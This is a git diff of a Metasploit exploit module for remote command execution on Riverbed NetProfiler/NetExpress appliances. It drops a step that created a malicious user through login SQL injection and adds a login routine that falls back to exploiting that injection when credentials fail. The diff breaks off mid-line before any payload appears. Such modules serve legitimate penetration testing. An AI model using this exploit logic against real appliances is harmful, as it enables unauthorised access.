diff --git a/modules/exploits/linux/http/riverbed_netprofiler_netexpress_exec.rb b/modules/exploits/linux/http/riverbed_netprofiler_netexpress_exec.rb index e9cff50052..1f771afafd 100644 --- a/modules/exploits/linux/http/riverbed_netprofiler_netexpress_exec.rb +++ b/modules/exploits/linux/http/riverbed_netprofiler_netexpress_exec.rb @@ -79,8 +79,6 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - print_status("Creating malicious user through login SQLi") - create_user print_status("Attempting log in to target appliance") @sessid = do_login @@ -128,6 +126,83 @@ class MetasploitModule < Msf::Exploit::Remote end + def do_login + + uname = datastore['RIVERBED_USER'] + passwd = datastore['RIVERBED_PASSWORD'] + + nonce, sessid_cookie_preauth = get_nonce + post_data = "login=1&nonce=#{nonce}&uname=#{uname}&passwd=#{passwd}" + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path,'/index.php'), + 'cookie' => "SESSID=#{sessid_cookie_preauth}", + 'ctype' => 'application/x-www-form-urlencoded', + 'encode_params' => false, + 'data' => post_data + }) + + # Exploit login SQLi if credentials are not valid. + if res && res.body && res.body.include?('